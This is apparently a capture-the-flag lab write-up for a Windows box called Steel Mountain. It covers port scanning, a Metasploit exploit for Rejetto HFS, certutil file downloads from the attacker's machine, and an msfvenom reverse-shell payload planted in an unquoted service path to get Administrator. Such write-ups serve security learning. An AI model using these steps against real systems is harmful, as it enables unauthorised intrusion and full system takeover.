Steel Mountain
This room tests Windows enumeration. I use Metasploit to get an initial foothold, then PowerShell to enumerate the box and escalate to Administrator.
Step 1: Nmap
ICMP is disabled, so -Pn skips host discovery.
nmap -Pn -p- 10.10.0.5 -vvv
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 125
135/tcp open msrpc syn-ack ttl 125
139/tcp open netbios-ssn syn-ack ttl 125
445/tcp open microsoft-ds syn-ack ttl 125
3389/tcp open ms-wbt-server syn-ack ttl 125
5985/tcp open wsman syn-ack ttl 125
8080/tcp open http-proxy syn-ack ttl 125
47001/tcp open winrm syn-ack ttl 125
49152/tcp open unknown syn-ack ttl 125
49153/tcp open unknown syn-ack ttl 125
49154/tcp open unknown syn-ack ttl 125
49155/tcp open unknown syn-ack ttl 125
49156/tcp open unknown syn-ack ttl 125
49169/tcp open unknown syn-ack ttl 125
49170/tcp open unknown syn-ack ttl 125
Step 2: Enumerate the Site
Scan the web root with gobuster.
gobuster dir --url http://10.10.0.5 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
Not much on port 80 aside from identifying the employee of the month as Bill Harper.
Let's take a look at port 8080 instead. Interesting, looks like some control panel for a file server.
After looking at the source code we are able to identify it as a Rejetto HTTP File Server, which has an RCE vulnerability and a Metasploit module called rejetto_hfs_exec.
Step 3: Metasploit
Search for rejetto and then configure the options.
And we have a meterpreter session. Let's pop a shell and look for our first flag.
The first flag is located in C:\Users\bill\Desktop and can be viewed using type user.txt.
Step 4: Privilege Escalation
To enumerate this machine, we will use winPEAS.
First, download the latest version from GitHub: https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe
Then start a Python server:
python3 -m http.server 8000
Then upload it to C:\Users\bill\Desktop using certutil.exe:
certutil.exe -urlcache -f http://10.13.28.215:8000/winPEASany_ofs.exe winPEASany_ofs.exe
Then run it with winPEASany_ofs.exe.
Looking through the results we come across an interesting service called AdvancedSystemCareService9. Its path is unquoted and has a space in it, which means we can run a program called "Advanced.exe" with a reverse shell.
Let's fire up msfvenom and generate a payload.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.13.28.215 LPORT=1337 -f exe -o Advanced.exe
Start up our Python server and transfer it over using certutil.
Move it into the service's install directory:
C:\Program Files (x86)\IObit\
Now kill the service:
sc stop AdvancedSystemCareService9
Start a netcat listener with nc -lvnp 1337, then start the service back up:
sc start AdvancedSystemCareService9
And root!